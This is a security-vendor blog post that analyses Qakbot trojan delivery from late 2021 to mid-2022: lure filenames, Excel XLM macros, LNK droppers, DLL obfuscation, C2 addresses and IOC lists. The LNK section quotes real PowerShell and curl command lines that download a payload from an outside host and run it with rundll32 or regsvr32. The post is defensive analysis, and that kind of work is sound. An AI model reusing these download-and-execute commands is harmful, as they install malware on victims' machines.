Rise in Qakbot attacks traced to evolving threat techniques

Active since 2008, Qakbot, also known as QBot, QuackBot and Pinkslipbot, is a common trojan malware designed to steal passwords. This pervasive threat spreads using an email-driven botnet that inserts replies in active email threads. Qakbot threat actors are also known to target bank customers and use the access they gain through compromised credentials to spy on financial operations and gain valuable intel. Summary Qakbot has been a prevalent threat over the past 14 years and continues to evolve adopting new delivery vectors to evade detection. Zscaler Threatlabz has discovered a significant uptick in the spread of Qakbot malware over the past six months using several new techniques. Most recently, threat actors have transformed their techniques to evade detection by using ZIP file extensions, enticing file names with common formats, and Excel (XLM) 4.0 to trick victims into downloading malicious attachments that install Qakbot. Other more subtle techniques are being deployed by threat actors to prevent automated detection and raise the odds that their attack will work, including obfuscating code, leveraging multiple URLs to deliver the payload, using unknown file extension names to deliver the payload, and altering the steps of the process by introducing new layers between initial compromise, delivery, and final execution. Embedded as commonly-named attachments, Qakbot leverages ZIP archive file having embedded files such as Microsoft Office files, LNK, Powershell, and more. The screenshot in Fig. 1 below reveals a snapshot view of the spikes in Qakbot activity observed over the past six months. Figure1: Qakbot monitored during last 6 months in Zscaler Threatlabz Zscaler automatically identifies and blocks files containing Qakbot malware for our customers, and provides them with the best possible solution to manage this evolving threat. As an extra precaution against these types of threats, Zscaler recommends that organizations formally train users not to open email attachments sent from untrusted or unknown sources and encourage users to verify URLs in their browser address bar before entering credentials. The Zscaler ThreatLabz team will continue to monitor this campaign, as well as others to help keep our customers safe and share critical information with the larger SecOps community to help stop the spread of active threats like Qakbot and protect people everywhere. The following sections dive into an in-depth analysis of this evolving threat and provide actionable indicators that security professionals can apply to identify and block Qakbot in their environments. Technical analysis of evolving Qakbot techniques ThreatLabz has observed threat actors using various different file names to disguise attachments designed to deliver Qakbot. Using common file naming formats that include a description, generated numbers, and dates, the files feature common keywords for finance and business operations, including compensation figures, metric reports, invoices and other enticing datasets. To the unsuspecting victim, these types of files may either appear like everyday items for business as usual or as a rare opportunity to look at data they would not normally see. Either way, the victim is likely to fall for the sense of urgency at a fresh data set or request and click the file to learn more about what is inside and how it pertains to them. Malicious file name examples: Calculation-1517599969-Jan-24.xlsb Calculation-Letter-1179175942-Jan-25.xlsb ClaimDetails-1312905553-Mar-14.xlsb Compensation-1172258432-Feb-16.xlsb Compliance-Report-1634724067-Mar-22.xlsb ContractCopy-1649787354-Dec-21.xlsb DocumentIndex-174553751-12232021.xlsb EmergReport-273298556-20220309.xlsb Payment-1553554741-Feb-24.xlsb ReservationDetails-313219689-Dec-08.xlsb Service-Interrupt-977762469.xlsb Summary-1318554386-Dec27.xlsb Analyzing the de-obfuscated code exposes how these malicious attachments use XLM 4.0 to hide their macros and evade detection by static analysis tools and automated sandboxes. Looking back over the past six months, our researchers observed a different kind of emails templates and standardized Office templates which are being used and changed only slightly in nearly all of the analyzed Qakbot samples. Email Templates: Figure 2 : Standard Email and Office templates used for Qakbot delivery in last six months The following section provides a month by month overview of changes observed in Qakbot samples from December 2021 - May 2022: Attack Chain Figure 3: Diagram of Qakbot delivery and execution via Microsoft Office attachments December 2021: Qakbot XLM 4.0 snippet [Md5: 58F76FA1C0147D4142BFE543585B583F] Once the user clicks “Enable Content” to view the attachment, the macro is activated to look for a subroutine with a pre-defined function, in this case starting with auto_open777777. In the next step of the sequence, the URLDownloadToFile function is imported and called to download the malicious Qakbot Payload and drop it into the C:\ProgramData\ location on the victim’s machine with the filename .OCX which is actually Qakbot DLL. Then WinAPI EXEC from Excel4Macro directly executes the malicious payload or loads the payload using regsvr32.exe. Figure 4: Qakbot XLM 4.0 snippet from December 2021 January 2022: Qakbot XLM 4.0 snippet [Md5: 4DFF0479A285DECA19BC48DFF2476123] In the following snippet it executes macro code which is present in the cells from a hidden sheet named ‘EFFWFWFW'. This creates a REGISTER and consistently calls functions to be performed, except in this example the threat actor has evolved the action to avoid detection via obfuscation. Figure 5: Qakbot XLM 4.0 snippet from January 2022 February 2022: Qakbot XLM 4.0 snippet [Md5: D7C3ED4D29199F388CE93E567A3D45F9] Malware author leave code mostly unmodified. Create a folderOne using CreateDirectoryA WinAPI as shown in the following snapshot “C:\Biloa”. Figure 6: Qakbot XLM 4.0 snippet from February 2022 March 2022: Qakbot XLM 4.0 snippet [Md5: 3243D439F8B0B4A58478DFA34C3C42C7] Observed change in the file system persistence level. Change in payload drop location from C:\ProgramData\ to C:\Users\User\AppData\Local\[random_folder_name]\random.dll Less obfuscation and code is much more readable. Used option-s with regsvr32.exe so that it can install silently without prompting any kind of message. Figure 7: Qakbot XLM 4.0 snippet from March 2022 April 2022: XLM 4.0 snippet [Md5: 396C770E50CBAD0D9779969361754D69] A new change is the observation of fully de-obfuscated code in Qakbot attachments. A similarity observed across Qakbot variants is the use of multiple URLs that can deliver the malicious payload, so that if any one URL goes down or is blocked, then the payload can still be delivered by another available URL. Additionally, it is common to see threat actors trying to evade detection from automated security scans by using unknown extensions on dropped payloads such as OCX, ooccxx, .dat, .gyp, and more. Figure 8: Qakbot XLM 4.0 snippet from April 2022 May: Qakbot XLM 4.0 snippet [Md5: C2B1D2E90D4C468685084A65FFEE600E] Observed change in the filename to ([0-9]{2,5}\.[0-9]{4,12}\.dat]. Additionally, Instead of 4-5 different download payload URLs, only one Qakbot download URL is identified. Figure 9: Qakbot XLM 4.0 snippet from May 2022 Figure 10: Zscaler Sandbox Report Qakbot deliver by Malicious office attachment Spreading factor through LNK files: Attack Chain Figure 11: Qakbot delivery and execution through LNK file a) May 2022: Qakbot snippet of LNK file Observed increase using the shortcut LNK filetype source with names like: report[0-9]{3}\.lnk report228.lnk report224.lnk Observed change using powershell.exe to download the malware payload. Observed change and a clear sign of Qakbot evolving to evade updated security practices and defenses by loading the dll payload through rundlll32.exe instead of regsvr32.exe. Argument: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri https://oleitikocottages.com/r4i9PRpVt/S.png -OutFile $env:TEMP\766.dll;Start-Process rundll32.exe $env:TEMP\766.dll,NhndoMnhdfdf b) June 2022: Qakbot snippet of LNK file Observed change in execution flow and name of file name both change on LNK file type. Regsvr32.exe used while qakbot dll loading and injects to explorer.exe as well for communication to command and control server. Observed file names using the {5[0-9]{7,10}_[0-9][6,8]}\.lnk} LNK file type: 51944395538_1921490797.zip 52010712629_1985757123.zip 52135924228_164908202.zip 51107204327_175134583.zip Argument: 'C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe /q /c echo 'HRTDGR' && MD "%ProgramData%\Username" && curl.exe -o %ProgramData%\Username\filename.pos 91.234.254.106/%random%.dat && ping -n 2 localhost && echo "MERgd" && echo "NRfd" && regsvr32 'C:\ProgramData\Username\filename.pos' Through command prompt it downloads a payload and drops the file on the victim’s machine with a curl command. Here are some observed examples of the process: CMD.EXE : /q : Turns the echo off. /c : Carries out the command specified by string and then stops. CURL.EXE : /o: Write to file After that it loads the downloaded dll payload through regsvr32.exe and injects into the explorer.exe. Then performs further operations, including: Checks for the presence of antivirus software. Creates a RUN key for persistence in the system. Creates scheduled tasks to execute the payload at a specific time. Figure 12: Zscaler Sandbox Report Qakbot deliver by LNK More details on these findings are covered in the ThreatLabz Qakbot vectors blog. Downloaded Qakbot DLL: 529fb9186fa6e45fd4b7d2798c7c553c from above mentioned LNK file. The entry point of the executable is fully obfuscated using duplicate MOV operations. Figure 13: Obfuscated entry point The following screenshot shows junk code obfuscating the script used to decode the payload. Figure 14: Code snippet for decoding the payload Checks for Windows Defender Emulation using WinAPI GetFileAttributes “C:\INTERNAL\__empty”. Figure 15: Payload checking GetFileAttributesW The sample also uses some flags like SELF_TEST_1 which appear to be for debugging purposes. Figure 16: Setting flag for debugging purpose Figure 17: Zscaler Sandbox report for Qakbot DLL Zscaler's multilayered cloud security platform detects indicators, as shown below: LNK.Downloader.Qakbot VBA.Downloader.Qakbot The following details can be found in the Qakbot configuration file which we examined connecting to the server through explorer.exe. BOTNET ID: Obama188 [+] C2 IPs: 1.161.123.53 101.108.199.194 102.182.232.3 103.116.178.85 103.207.85.38 104.34.212.7 106.51.48.170 108.60.213.141 109.12.111.14 109.178.178.110 111.125.245.116 117.248.109.38:21 120.150.218.241 120.61.2.215 121.7.223.45 124.40.244.115 140.82.49.12 140.82.63.183 143.0.219.6 144.202.2.175 144.202.3.39 148.0.56.63 148.64.96.100 149.28.238.199 172.115.177.204 173.174.216.62 173.21.10.71 174.69.215.101 175.145.235.37 176.205.23.48 176.67.56.94 177.209.202.242 177.94.57.126 179.158.105.44 180.129.108.214 182.191.92.203 186.90.153.162 187.207.131.50 187.251.132.144 189.146.87.77 189.223.102.22 189.253.206.105 189.37.80.240 189.78.107.163 190.252.242.69 191.112.4.17 191.34.120.8 193.136.1.58 196.203.37.215 197.87.182.115 197.94.94.206 201.145.165.25 201.172.23.68 201.242.175.29 208.101.82.0 208.107.221.224 210.246.4.69 Indicators of Compromise [+] Payload URLs: anukulvivah.comnobeltech[.]com.pk griffinsinternationalschool.intierrasdecuyo[.]com.ar tajir[.]comdocumentostelsen[.]com wrcopias[.]com.brls[.]com.co dk-chic[.]combendhardwoodflooring[.]com stalwartnv[.]comdelartico[.]com newportresearchassociates[.]comjindalfabtex[.]com softwarela.orgasesorescontables[.]com.py segurabr[.]com.brrenty.biz hams.psalrabbat[.]com glistenworld[.]comsonalifecare[.]com act4dem.netbrandxo.in stuttgartmed[.]comgmstrust.in act4dem.netglistenworld[.]com ananastours[.]comhostingdeguatemala[.]com gmsss45c[.]comasiatrendsmfg[.]com facturamorelos[.]comjnpowerbatteries[.]com minimean[.]com1031taxfreexchange[.]com pbxebike[.]comhigradeautoparts[.]com parkbrightworldwideltd[.]comams.org.co baalajiinfotechs[.]commomoverslegypte[.]com recetasparaelalmapanama[.]comghssarangpur.org wecarepetz[.]com.brbrothersasian[.]com knapppizzabk[.]comwecarepetz[.]com.br jeovajirelocacao[.]com.br7n7u.tk amdpl.indabontechnologies.co.ke bouncehouserentalmiami.netmahasewanavimumbai[.]com hotelsinshillong.inbrothersasian[.]com tamiltechhints[.]comitaw-int[.]com tvtopcultura[.]com.brmadarasapattinam[.]com desue.mxautocadbeginner[.]com antwerpdiamond.netmarciomazeu.dev.br ifongeek[.]comtunaranjadigital[.]com avaniamore[.]comthecoursecreators[.]com thecoursecreators[.]comdrishyamopticals[.]com thewebinarchallenge[.]comiammyprioritylive[.]com erekha.invegascraftbeertour[.]com rommify.orgpbsl[.]com.gh sathyaunarsabha.orgcourtalamarivuthirukovil.org pbsl[.]com.ghapk.hap.in outsourcingmr[.]comofferlele[.]com courtalamarivuthirukovil.orgelchurritorojas[.]com apk.hap.inklicc.co.tz jinglebells.ngthebrarscafe[.]com bigtv3d.inretroexcavaciones[.]com aimwithnidhi.invizionsconsulting[.]com gaurenz[.]comamarelogema[.]com.br wiredcampus.inretroexcavaciones[.]com elchurritorojas[.]comglobalwomenssummit2020[.]com byonyks[.]comwfgproduction[.]com wfgproduction[.]comciit.edu.ph reachprofits[.]comcreativecanvas.co.in vegascraftbeertour[.]comnightsclub[.]com assistenciatecnicaembh24h[.]com.brtheinfluencersummit2021[.]com grupoumbrella[.]com.brbjfibra[.]com fra[.]com.arthewebinarstore[.]com writeright.inaaafilador.eu wlrinformatica[.]com.brminahventures[.]com alternativecareers.inwvquali[.]com.br aaafilador.eueventbriteclone.xyz policepublicpress.inmarcofoods.in longwood-pestcontrol[.]comlifecraze.in viasalud.mxecsshipping[.]com misteriosdeldesierto.pelgfcontabilidade[.]com.br mariebeeacademy[.]commuthumobiles[.]com teamone[.]com.satechmahesh.in wiredcampus.inteamone[.]com.sa furnitureion[.]comekofootball[.]com comunidadecristaresgate[.]com.bryqsigo[.]com mysuccesspoint.inkriworld.net wiredcampus.intheinfluencerlaunch[.]com mi24securetech[.]compalconsulting.net attalian[.]comrudrafasteners[.]com filmandtelevisionindia[.]comcloudberrie[.]com brikomechanical[.]comideiasnopapel[.]com.br neovation.sgatozinstrument[.]com tecnobros8[.]comwalnut.ae brikomechanical[.]comleaoagronegocios[.]com.br sonhomirim[.]com.brwlrinformatica[.]com.br wbbvet.ac.inboostabrain.in narendesigns[.]comsla[.]com.ng rstkd[.]com.brdelacumbrefm[.]com leaoagronegocios[.]com.brdegreesdontmatter.in strategicalliances.co.inlelokobranding.co.za metrointl.netrajkotbusiness.in titanhub.co.ukgrupothal[.]com.br www.centerplastic[.]com.brpawnest[.]com rightsupportmanagement.co.uksmiletours.net leaseicemachine[.]comsegiaviamentos[.]com.br virtualexpo.cactusfuturetech[.]comautovidriosrobin.anuncio-ads.cl klearning.co.ukbestbuidan.mn amicodelverde[.]comhunbuzz[.]com prova.gaia.srlprodotti.curadelprato[.]com prodotti.curadelprato[.]comdomenico[.]com.co anukulvivah[.]comahmedabadpolicestories[.]com ec.meticulux.netpent.meticulux.net clerbypestcontrolllp.inorderingg.in rylanderrichter[.]comtajir[.]com searchgeo.org4md-uae[.]com matjarialmomayz[.]comformularapida[.]com.br carnesecaelpatron[.]com.mxbengallabourunion[.]com alphanett[.]com.brragvision[.]com secunets.co.keflameburger[.]com.mx gph.lkabingdonhomes[.]com agteacherscollege.ac.insis.edu.gh impexlanka[.]comludoi[.]come.xyz mufinacademy[.]com1031oilgasexchange[.]com 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thewebinarclinic[.]comthewebinarchecklist[.]com sathyaunarsabha.orgoutsourcingmr[.]com webdoweb[.]com.ngvortex.cm future-vision[.]com.trbrunalipiani[.]com.br ecotence.xyznimbus[.]com.qa writeright.inlightnco.id aidshivawareness.orgmetaunlimited.in hearingaidbihar[.]combarcalifa[.]com.br condominiosanalfonso.cltimelapse.ae oladobeldavida[.]com.brmarcofoods.in alternativecareers.inrsbnq[.]com cobblux.pktafonego.org chezmarblan[.]comcogitosoftware.co.in devconstech[.]comcumipilek[.]com daptec[.]com.brhydrical.mx indiacodecafe[.]comecsshipping[.]com skyorder.nettechmahesh.in assimpresaroma.itcampandvillas[.]com styleavail[.]comomtapovan[.]com programandoavida[.]com.brindiacodecafe[.]com bruno-music[.]comlaoaseanhospital.la agbegypt[.]comcrimpwell.in 1031wiki[.]comstrategicalliances.co.in nimbus[.]com.qavivanaweb[.]com.br officeservicesjo.cfdinspiraanalytics.in shareyourcake.orgprotocolostart[.]com acertoinformatica[.]com.brinovex.in devconstech[.]comdigizen.in rajkotbusiness.indigizen.in acertoinformatica[.]com.brrumbakids[.]com boostabrain.incsnglobal.co haskekudla[.]comkraushop[.]com Mahalaxmibastralayanx.inchuckdukas[.]com [+] Hashes XLSB: 58F76FA1C0147D4142BFE543585B583F 4DFF0479A285DECA19BC48DFF2476123 D7C3ED4D29199F388CE93E567A3D45F9 3243D439F8B0B4A58478DFA34C3C42C7 396C770E50CBAD0D9779969361754D69 C2B1D2E90D4C468685084A65FFEE600E LNK: 54A10B41A7B12233D0C9EACD11036954 E134136D442A5C16465D9D7E8AFB5EBE 7D0083DB5FA7DE50E620844D34C89EFC C2663FCCB541E8B5DAA390B76731CEDE Qakbot: 529FB9186FA6E45FD4B7D2798C7C553C [+] Filenames: Calculation-1517599969-Jan-24.xlsb Calculation-Letter-1179175942-Jan-25.xlsb ClaimDetails-1312905553-Mar-14.xlsb Compensation-1172258432-Feb-16.xlsb Compliance-Report-1634724067-Mar-22.xlsb ContractCopy-1649787354-Dec-21.xlsb DocumentIndex-174553751-12232021.xlsb EmergReport-273298556-20220309.xlsb Payment-1553554741-Feb-24.xlsb ReservationDetails-313219689-Dec-08.xlsb Service-Interrupt-977762469.xlsb Summary-1318554386-Dec27.xlsb W_3122987804.xlsb A_1722190090.xlsb AO_546764894.xlsb Nh_1813197697.xlsb LM_4170692805.xlsb report228.lnk report224.lnk 51944395538_1921490797.zip 52010712629_1985757123.zip 52135924228_164908202.zip 51107204327_175134583.zip